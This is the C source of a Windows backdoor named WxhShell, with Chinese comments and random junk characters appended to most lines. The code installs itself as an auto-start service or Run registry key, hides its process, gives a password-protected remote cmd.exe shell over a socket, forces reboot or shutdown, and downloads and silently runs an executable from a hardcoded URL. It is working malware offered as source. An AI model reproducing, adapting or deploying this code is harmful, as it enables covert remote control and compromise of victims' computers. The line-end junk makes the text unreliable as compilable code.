  // 关机 ^suQ7#g  
  case 'd': { Bha("kG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9v;HE{>  
    if(Boot(SHUTDOWN)) L N.:>,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6xwjKh:9  
    else { mpCu,l+lo  
    closesocket(wsh); ]7>#YKH.  
    ExitThread(0); l6 }+,v@#  
    } f~PS'I_r  
    break; 7R m\#  
    } NZ&ZK@h}.  
  // 获取shell ao=e{R)  
  case 's': { mqHH1}  
    CmdShell(wsh); WVhQ?2@}  
    closesocket(wsh); !Ur.b @ke  
    ExitThread(0); BD;T>M  
    break; cWZ uph\  
  } tm1&OY  
  // 退出 u\= 05N6G  
  case 'x': { esE!i0%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &-p~UZy  
    CloseIt(wsh); ,x!r^YO=  
    break; oXqJypR 2  
    } qg1\ABH  
  // 离开 l&qyLL2 w  
  case 'q': { JZ![:$:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (*=>YE'V{  
    closesocket(wsh); g6aqsa  
    WSACleanup(); @ S[As~9X  
    exit(1); YVv E>1z  
    break; Yy 0" G  
        } uDkX{<_Xe  
  } q :~/2<o  
  } je2"D7D  
K]Vp! G  
  // 提示信息 )=X g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MffCk!]  
} QV HI}3~  
  } ='w 2"4  
2Xk;]-T!  
  return; r|*_KQq  
} 9` UbsxFl  
@t1pB]O:  
// shell模块句柄 rNo/H<J%+j  
int CmdShell(SOCKET sock) hGw}o,g  
{ .9=4Af  
STARTUPINFO si; MUv#8{+F'/  
ZeroMemory(&si,sizeof(si)); C'y2!Q /"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U^ , !  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i2(v7Gef  
PROCESS_INFORMATION ProcessInfo; !.q99DB  
char cmdline[]="cmd"; }F/w34+;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >B~? }@^Gk  
  return 0; 53ZbtEwhwr  
}  <82&F  
#Y3-P  
// 自身启动模式 b=\chCRJJ  
int StartFromService(void) WQ8 "Jj?k6  
{ @x}^2FE  
typedef struct G~bDl:k`A  
{ O CIoY?a  
  DWORD ExitStatus; yocFdI  
  DWORD PebBaseAddress; 4e eh+T  
  DWORD AffinityMask; RXcN<Y&  
  DWORD BasePriority; !G[%; d  
  ULONG UniqueProcessId; \,X)!%6kZ  
  ULONG InheritedFromUniqueProcessId; !9YCuHj!p  
}   PROCESS_BASIC_INFORMATION; $ (xdF  
1n&%L8]  
PROCNTQSIP NtQueryInformationProcess; Sw"h!\c`  
P(2OTfGGx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }N(gP_?n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %C qp88]  
);JWrkpz  
  HANDLE             hProcess; kSc~gJrne  
  PROCESS_BASIC_INFORMATION pbi; x3`JC&hF,q  
WjK[% ;Z!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ok:L]8UN 3  
  if(NULL == hInst ) return 0; B0)|sH  
EirZ}fDJzB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7)[Ve1;/N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +[MHl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GH-Fqz  
P7,g^:$  
  if (!NtQueryInformationProcess) return 0; Br}@Vvq@  
ENr#3+m$;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #\}FQl6  
  if(!hProcess) return 0; Ug546Bz  
{5{VGAD&]>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; na~ FT[3 C  
Me? I8:/  
  CloseHandle(hProcess); k[ D,du')  
jVN06,3z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NQ[X=a8N  
if(hProcess==NULL) return 0; ty#6%  
Zr2T^p5u  
HMODULE hMod; \<`oW>  
char procName[255]; XR7v\rd  
unsigned long cbNeeded; F7*)u-4Yn  
^M q@} 0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [pm IQ228  
~+t@7A=  
  CloseHandle(hProcess); u*I'c2m  
Q8h0.(#-  
if(strstr(procName,"services")) return 1; // 以服务启动 =. \hCgq  
%dW ;P[0  
  return 0; // 注册表启动 uQx/o ^  
} B|"i`{>  
i.Y2]1  
// 主模块 BLaNS4e  
int StartWxhshell(LPSTR lpCmdLine) ,vf#e= Z  
{ <dD!_S6@,  
  SOCKET wsl; ~@l4T_,k  
BOOL val=TRUE; bfoTGi  
  int port=0; uHZ4 @ w:  
  struct sockaddr_in door; 6.KEe^[-  
] L#c <0  
  if(wscfg.ws_autoins) Install(); ^W:a7cMw  
: Bo  
port=atoi(lpCmdLine); xxl|j$m  
e/:?9  
if(port<=0) port=wscfg.ws_port; hI*v )c  
h0k?(O  
  WSADATA data; ;Bz| hB{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k;t G-~\d  
EwV$2AK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H,GjPIG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9d/- +j'  
  door.sin_family = AF_INET; _L~ 3h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x=7:D  
  door.sin_port = htons(port); u=v-,Tw  
>FOCdlJ#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ot\[Ya''  
closesocket(wsl); nM.g8d K  
return 1; [Z:P{yr  
} inO;Uwlv  
u1y>7,Z6W  
  if(listen(wsl,2) == INVALID_SOCKET) { 8/tB?j  
closesocket(wsl); *aM7d>nG5  
return 1; Zv9JkY=+@  
} 9XDSL[[  
  Wxhshell(wsl); x X3I`  
  WSACleanup(); Q[NoFZ V!  
~>9G\/u j  
return 0; bK0(c1*a[e  
9,_~qWw  
} S g1[p#U  
SZrc-f_  
// 以NT服务方式启动 ^ }5KM87  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fu~iF  
{ f9>pMfi:@  
DWORD   status = 0; yBs-bp"-  
  DWORD   specificError = 0xfffffff; WLj]EsA.  
Yu)GV7\2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {X?1}5ry  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !<~.>5UQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; + <E zv  
  serviceStatus.dwWin32ExitCode     = 0; :ZB.I(v  
  serviceStatus.dwServiceSpecificExitCode = 0; `{ >/'o  
  serviceStatus.dwCheckPoint       = 0; `|AH3v1  
  serviceStatus.dwWaitHint       = 0; tR<#CCtRp'  
0vSPeZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }1k?th  
  if (hServiceStatusHandle==0) return; }F.k,2  
^8 ,prxaok  
status = GetLastError(); %au>D  
  if (status!=NO_ERROR) O-UA2?N@j  
{ y_n4Y[4g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; svEe@Kt`  
    serviceStatus.dwCheckPoint       = 0; ?32~%?m  
    serviceStatus.dwWaitHint       = 0; Myg;2.  
    serviceStatus.dwWin32ExitCode     = status; g7hI9(8+  
    serviceStatus.dwServiceSpecificExitCode = specificError; d{NMG)`x\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S WTZ6(!oW  
    return; %SIll  
  } ?K2EK'-q  
t~K[`=G\ex  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5ta;CG  
  serviceStatus.dwCheckPoint       = 0; BI,]pf;GWv  
  serviceStatus.dwWaitHint       = 0; 9RJ#zUK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oVHe<zE.  
} `G: 1  
~:Z|\a58j  
// 处理NT服务事件,比如:启动、停止 NV/paoyx:*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iOv>g-t:  
{ =e#h;x2  
switch(fdwControl) n]4Elrxx  
{ (#>X*~6  
case SERVICE_CONTROL_STOP: Fyw X  
  serviceStatus.dwWin32ExitCode = 0; u5rvrn ]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZaY|v-  
  serviceStatus.dwCheckPoint   = 0; <h#W*a  
  serviceStatus.dwWaitHint     = 0; )ej1)RU"  
  {  Hk4k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |H^v8^%>zm  
  } nxuH22:  
  return; Gq[5H(0/c  
case SERVICE_CONTROL_PAUSE: !'# D~   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "dt}k$Gr  
  break; =d"5k DK-m  
case SERVICE_CONTROL_CONTINUE: q+8de_"]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AHuIA{AdUR  
  break; [+b8 !'|&  
case SERVICE_CONTROL_INTERROGATE: #0h}{y E  
  break; a)r["*bTx  
}; A*+gWn,4Y_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (c}!gjm  
} yLCMu | +  
X0j>g^b8  
// 标准应用程序主函数 W(ryL_#;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,jz~Np_2  
{ =?y0fLTc  
l}(HE+?  
// 获取操作系统版本 ;(}~m&p  
OsIsNt=GetOsVer(); > fV "bj.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .6rbn8h  
F%lC%~-qh  
  // 从命令行安装 ^vSSG5  :  
  if(strpbrk(lpCmdLine,"iI")) Install(); pV8tn!  
Z5U\>7@&8  
  // 下载执行文件 G^h:#T  
if(wscfg.ws_downexe) { g^|R;s{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v8C($<3%  
  WinExec(wscfg.ws_filenam,SW_HIDE); /=za m3kd  
} K0vS  
YhRy C*b  
if(!OsIsNt) { [ t8]'RI%  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;q%z\gA  
HideProc(); G,<d;:  
StartWxhshell(lpCmdLine); <"p-0=IgJ  
} "R)n1,0  
else ,:K{  
  if(StartFromService()) |"Zf0G  
  // 以服务方式启动 #M!{D  
  StartServiceCtrlDispatcher(DispatchTable); lq3D!+ m  
else ) 5Ij  
  // 普通方式启动 JURu>-i  
  StartWxhshell(lpCmdLine); lZIJ[.  
6/g 82kqpk  
return 0; Z 369<  
} -Mrt%1g  
UB>BVBCt  
Pz D30VA  
RRQv<x  
=========================================== M?P\YAn$  
%{V7 |Azt  
DS@Yto  
!^NZp%Yd  
BL>~~  
wRK27=\z  
" 6q`)%"4k  
qW4\t  
#include <stdio.h> >Sw?F&  
#include <string.h> ra^%__N}  
#include <windows.h> Ax=)J{4v  
#include <winsock2.h> }z9v*C  
#include <winsvc.h> sEfT#$ a^8  
#include <urlmon.h> Zi\ex\ )5  
>y#qn9rV1  
#pragma comment (lib, "Ws2_32.lib") pih 0ME}z  
#pragma comment (lib, "urlmon.lib") r.Z g<T  
e87a9ZPm  
#define MAX_USER   100 // 最大客户端连接数 $7Z-Nn38  
#define BUF_SOCK   200 // sock buffer 6#jql  
#define KEY_BUFF   255 // 输入 buffer %B1TN#KoT  
mv,a>Cvs[  
#define REBOOT     0   // 重启 T <k;^iqR  
#define SHUTDOWN   1   // 关机 D-i, C~W  
6'uCwAQU  
#define DEF_PORT   5000 // 监听端口 X$Q.A^9  
Vep 41\g^  
#define REG_LEN     16   // 注册表键长度 a\,V>}e  
#define SVC_LEN     80   // NT服务名长度 e~'z;% O~  
qZV|}M>P)  
// 从dll定义API V)5,E>;EN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LH_ U#P`E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1.8"N&s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |) &d9|]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5{DwD{Q  
-U_,RMw~  
// wxhshell配置信息 ~g#/q~UE  
struct WSCFG { suWO:]FR  
  int ws_port;         // 监听端口 fY78  
  char ws_passstr[REG_LEN]; // 口令 HSU?4=Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no BOA7@Zaa$p  
  char ws_regname[REG_LEN]; // 注册表键名 7042?\\=  
  char ws_svcname[REG_LEN]; // 服务名 a ^juZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {(Mmv[y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Z{s,!z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z_KCG2=5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DMp@B]>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e$Yvy>I'tS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G^VOA4  
bF,.6iKI  
}; 't*]6^  
?-9uf\2_  
// default Wxhshell configuration ;0?OBUDO  
struct WSCFG wscfg={DEF_PORT, :mLXB75gH  
    "xuhuanlingzhe", ywyg(8>zE  
    1, Mty[)+se  
    "Wxhshell", gzW{h0iRr  
    "Wxhshell", 8*B+@`  
            "WxhShell Service", |tLD^`bt  
    "Wrsky Windows CmdShell Service", 3q@JhB  
    "Please Input Your Password: ", (ToD u@p  
  1, lS p"(&  
  "http://www.wrsky.com/wxhshell.exe", Fe: ~M?]  
  "Wxhshell.exe" F)imeu  
    }; { JDD"z  
H~Uy/22aQy  
// 消息定义模块 (LXYx<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cmCD}Skk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SG0PQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t7V7TL!5'  
char *msg_ws_ext="\n\rExit."; (64es)B}"  
char *msg_ws_end="\n\rQuit."; {5%d#|?  
char *msg_ws_boot="\n\rReboot..."; =_@) KWeX$  
char *msg_ws_poff="\n\rShutdown..."; ug;\`.nT^  
char *msg_ws_down="\n\rSave to "; ){eQ.yW  
L=HnVgBs  
char *msg_ws_err="\n\rErr!"; x`IWo:j  
char *msg_ws_ok="\n\rOK!"; <_=O0 t| 6  
c1y+k vv  
char ExeFile[MAX_PATH]; x7i<dg&  
int nUser = 0; BE~-0g$W  
HANDLE handles[MAX_USER]; _]D 6m2R  
int OsIsNt; ! jDopE0L  
D8Mq '$-  
SERVICE_STATUS       serviceStatus; 5.yiNWh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; II~91IEk  
: vgn0 IQ  
// 函数声明 aiE\r/k8s  
int Install(void); <X& fs*x&  
int Uninstall(void); vMJ(Ll7/  
int DownloadFile(char *sURL, SOCKET wsh); oaILh  
int Boot(int flag); NNE(jJ`/  
void HideProc(void); u.?jWvcv  
int GetOsVer(void); 3qH1\  
int Wxhshell(SOCKET wsl); O1DUBRli!q  
void TalkWithClient(void *cs); yxf #@Je"  
int CmdShell(SOCKET sock); $bZ-b1{c C  
int StartFromService(void); vo&h6'i>7  
int StartWxhshell(LPSTR lpCmdLine); cg9}T[A  
z> DQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y}Y~?kE>M|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L?&&4%%  
L=C#E0{i  
// 数据结构和表定义 :!?Fq/!  
SERVICE_TABLE_ENTRY DispatchTable[] = El :% \hGy  
{ +$2`"%nBG  
{wscfg.ws_svcname, NTServiceMain}, m9&%A0  
{NULL, NULL} ocUBSK|K)  
}; D~M R)z_p~  
T:|p[Xbo  
// 自我安装 E:PPb9Kd  
int Install(void) OP-{76vE&b  
{ \6"=`H0}  
  char svExeFile[MAX_PATH]; eT(X Ri0  
  HKEY key; Odhr=Hs  
  strcpy(svExeFile,ExeFile); _RZ"WA^[  
Iu >4+6  
// 如果是win9x系统,修改注册表设为自启动 %Lh+W<;  
if(!OsIsNt) { }?c%L8\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =]pEvj9o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZZCm438  
  RegCloseKey(key); R1<$VR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H/;AlN|!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <$25kb R5K  
  RegCloseKey(key); Xrpvq(]  
  return 0; C>,> _  
    } ! R3P@,j  
  } R?- zJ ;  
} qcQq.cS_'N  
else { U^U hZ!  
-:J<JX)o  
// 如果是NT以上系统,安装为系统服务 72*j6#zS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KMQPA>w#  
if (schSCManager!=0) eL}X().  
{ `P*BW,P'T  
  SC_HANDLE schService = CreateService |90X_6(  
  ( #)[.Xz:U  
  schSCManager, Rr[Wka9[  
  wscfg.ws_svcname, <63TN`B  
  wscfg.ws_svcdisp, C-h?#/#?y  
  SERVICE_ALL_ACCESS, zfg+gd)Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @M'qi=s*  
  SERVICE_AUTO_START, @v&s|X '  
  SERVICE_ERROR_NORMAL, :$PrlE  
  svExeFile, (pd~ 2!;C  
  NULL, &%qDi_UD  
  NULL, Tm7LaM  
  NULL, MEp{&#v|1  
  NULL, x7`+T 1IJ  
  NULL ;)P=WS:=  
  ); TqfL Sm|  
  if (schService!=0) Ck"db30.  
  { DQ[7p(  
  CloseServiceHandle(schService); d&f!\n_~  
  CloseServiceHandle(schSCManager); 3?L[ohKH?:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r ) _*MPY  
  strcat(svExeFile,wscfg.ws_svcname);  {d0-.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7y)Ar 8!D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fk>{  
  RegCloseKey(key); ;c DMcKKIA  
  return 0; 2efdJ&eIV  
    } BF;}9QebmS  
  } p|dn&<kd  
  CloseServiceHandle(schSCManager); *rHz/& ,  
} _9p79S<+  
} d"Wuu1tEY  
NuUiW*|`7  
return 1; z 1^fG)  
} 3G2iRr.o  
Oe :S1f  
// 自我卸载 !"Q%I#8uh  
int Uninstall(void) %.l={B,i  
{ *vEj\  
  HKEY key; tns8B  
V |}9bNF  
if(!OsIsNt) { iSW<7pNq0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MV!d*\  
  RegDeleteValue(key,wscfg.ws_regname); ;FF+uK  
  RegCloseKey(key); y;<suGl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #<Xq\yC51  
  RegDeleteValue(key,wscfg.ws_regname); [m 6+I9  
  RegCloseKey(key); fqq4Qc)#U&  
  return 0; hiA\~}sl n  
  } UL>2gl4s/  
} ~/z%yg  
} ~w|h;*Bj  
else { p|mFF0SL  
(c^ {T)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;BT7pyu%[  
if (schSCManager!=0) k.o8!aCm  
{ )Ho"b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KZVdW@DY  
  if (schService!=0) 4>vO9q  
  { j6XHH&ZEb  
  if(DeleteService(schService)!=0) { m.1-[2{8~  
  CloseServiceHandle(schService); J:&.[  
  CloseServiceHandle(schSCManager); CYwV]lq :s  
  return 0; +'MO$&6  
  } Tcc83_Iq  
  CloseServiceHandle(schService); BnGoB`n  
  } CmBgay  
  CloseServiceHandle(schSCManager); >P\eHR,{-  
} .s!0S-RkC  
} jWi~Q o+  
Z~8%bfpe  
return 1; &NoA, `|7  
} WWZ<[[ >  
oSkQ/5hg.  
// 从指定url下载文件 _od /)#  
int DownloadFile(char *sURL, SOCKET wsh) G e]NA]<  
{ tgi%#8ZDpz  
  HRESULT hr; m{X{h4t  
char seps[]= "/"; S<cz2FlV  
char *token; 0j6b5<Gpc*  
char *file; L%Rw]=v}v  
char myURL[MAX_PATH]; eB1NM<V  
char myFILE[MAX_PATH]; D M+MBK  
I9>vm]  
strcpy(myURL,sURL); cRD;a?0/6s  
  token=strtok(myURL,seps); 5dN>Xjpu  
  while(token!=NULL) dg|x(p#  
  { SOM? 0.  
    file=token; T#E$sZ  
  token=strtok(NULL,seps); YGLq ~A  
  } v~T)g"_|  
/Wjc\n$'  
GetCurrentDirectory(MAX_PATH,myFILE); <2&qIvHL  
strcat(myFILE, "\\"); 0a8\{(w  
strcat(myFILE, file); h-;> v.  
  send(wsh,myFILE,strlen(myFILE),0); <jF&+[*iT  
send(wsh,"...",3,0); fKqr$59>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pV  u[  
  if(hr==S_OK) p5vQ.Ni*\-  
return 0; L[Z^4l_!  
else Us'JMZ~  
return 1; z~3ubta8(@  
Ax;?~v4Z  
} 4dCXBTT  
etiUt~W  
// 系统电源模块 M:%g)FgW  
int Boot(int flag) +ZW>JjP*  
{ iQ8{N:58DN  
  HANDLE hToken; -Pt E+R[A  
  TOKEN_PRIVILEGES tkp; RH _b  
eF.nNu  
  if(OsIsNt) { $hcv}<$/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @<pd@Mpf]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R8u8jG(4  
    tkp.PrivilegeCount = 1;  aY(s &  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DT>`.y%2W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rA B=H*|6  
if(flag==REBOOT) { wbKJ:eWgt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [7gz?9VyLF  
  return 0; xW5`.^5  
} [m h>N$  
else { `^hA&/1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :.XlAQR~b  
  return 0;  ~,&8)1  
} l9=Ka{$^*  
  } ;w"h n*  
  else { bO/r1W  
if(flag==REBOOT) { (:`4*xK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JU^Y27  
  return 0; VV/T)qEe7>  
} /4 pYhJ8S  
else { lqL5V"2Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ArAe=m!u  
  return 0; JvW7h(u7g  
} ~( XaXu  
} \EoE/2"<  
B F gxa#De  
return 1; S}U_uZ$b  
} Y 'X!T8  
"i/GzD7`n  
// win9x进程隐藏模块 (UjaL@G  
void HideProc(void) yGt [Qvx#  
{ Ew PJ|Z^  
<_|@ ~^u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?zutU w/m  
  if ( hKernel != NULL ) *v K~t|z  
  { a BMV6'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S$fS|N3]%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?#:']q  
    FreeLibrary(hKernel); *f;$5B#^  
  } dO1 m  
PDA9.b<q0  
return; E.NfVeq  
} RxJbQs$Ph  
[9Rh"H;h  
// 获取操作系统版本 H@wjZ;R  
int GetOsVer(void) yy8BkG(  
{ K\xM%O?  
  OSVERSIONINFO winfo; XBCHJj]k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r^C(|Vx  
  GetVersionEx(&winfo); iZdl0;16[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0R\.G1f%  
  return 1; ;0oL*d[1Z  
  else tyW[i8)O}  
  return 0; h'h8Mm  
} H#hpaP;  
Hkia&nz'3  
// 客户端句柄模块 UF5_be,D  
int Wxhshell(SOCKET wsl) 5p!{#r6m  
{ NwYQ6VEA  
  SOCKET wsh; "A~dt5GJ  
  struct sockaddr_in client; &o t^+uVH  
  DWORD myID; <>n|_6'$90  
7i xG{yu  
  while(nUser<MAX_USER) kDm uj>D  
{ vqf}(/.D  
  int nSize=sizeof(client); $+4 4US  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 13v`rK`7o  
  if(wsh==INVALID_SOCKET) return 1; N-F&=u}  
ETL7|C"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _(' @'r  
if(handles[nUser]==0) .@nfqv7{  
  closesocket(wsh); zFO0l).  
else MDIPoS3BRa  
  nUser++; @Nh}^D >j  
  } CUpRtE8@[_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y iuV\al  
b~>@x{  
  return 0; 1=IOio4U  
} Hi K+}?I  
2oahQ: }B  
// 关闭 socket Gd\/n*j  
void CloseIt(SOCKET wsh) db1ZNw  
{ m ne)c[Qn  
closesocket(wsh); Z|a*"@5_  
nUser--; ]SU)L5Dt;  
ExitThread(0); vD9.X}l]  
} 'J &R=MD  
jA:'P~`Hj  
// 客户端请求句柄 P(8Yz W  
void TalkWithClient(void *cs) vS5}OV  
{  }E(w@&  
(_}q>3  
  SOCKET wsh=(SOCKET)cs; B:v_5e\f@  
  char pwd[SVC_LEN]; !F}GSDDV*  
  char cmd[KEY_BUFF]; ?F[_5ls|]  
char chr[1]; JLWm9c+UTG  
int i,j; zJ8T.+qJ  
dT7f yn  
  while (nUser < MAX_USER) { Wkk(6gS,  
3)=ix. wW  
if(wscfg.ws_passstr) { |-/@3gPO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L6nsVL&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "u~` ZV(  
  //ZeroMemory(pwd,KEY_BUFF); H*<E5^#dw  
      i=0; ke W7pN?  
  while(i<SVC_LEN) { r>bgCQ#-n  
O!dS;p-F  
  // 设置超时  }+/Vk  
  fd_set FdRead; xh#_K@8  
  struct timeval TimeOut; LHZsmUM(dg  
  FD_ZERO(&FdRead); sxF2ku4A  
  FD_SET(wsh,&FdRead); ~e[qh+  
  TimeOut.tv_sec=8; 8b 7I\J`  
  TimeOut.tv_usec=0; qrw*?6mSQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =eW4?9Uq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *zweZG8:  
K-Pcew^?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1qn/*9W}=  
  pwd=chr[0]; X.#9[3U+  
  if(chr[0]==0xd || chr[0]==0xa) { {GCp5  
  pwd=0; hTv*4J&@|  
  break; ;DZj.| Sj+  
  } rf+}J_  
  i++; S\I+UeFkf  
    } 4PS|  
p</t##]3ks  
  // 如果是非法用户,关闭 socket 8kU(>' ^_:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Iy*Q{H3[  
} WixEnsJ  
\+U;$.)3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #Cs/.(<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Y~^R^J  
$;ny`^8  
while(1) { |p*cI @  
X_ Lt{mf  
  ZeroMemory(cmd,KEY_BUFF); d<OdQvW.  
qu $FpOJ  
      // 自动支持客户端 telnet标准   kl1Q:  
  j=0; {GT5   
  while(j<KEY_BUFF) { ea$. +  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' cS| BT  
  cmd[j]=chr[0]; Snmv  
  if(chr[0]==0xa || chr[0]==0xd) { 3My}u>  
  cmd[j]=0; j<Pw0?~s6  
  break; [N[4\W!!  
  } 0lq?l:/  
  j++; Bo ywgL|  
    } 6f#Mi+"  
Moi RAO  
  // 下载文件 +Gy9K  
  if(strstr(cmd,"http://")) { FR'Nzi$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L5d YTLY  
  if(DownloadFile(cmd,wsh)) P $ h) Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DTi^* Wj  
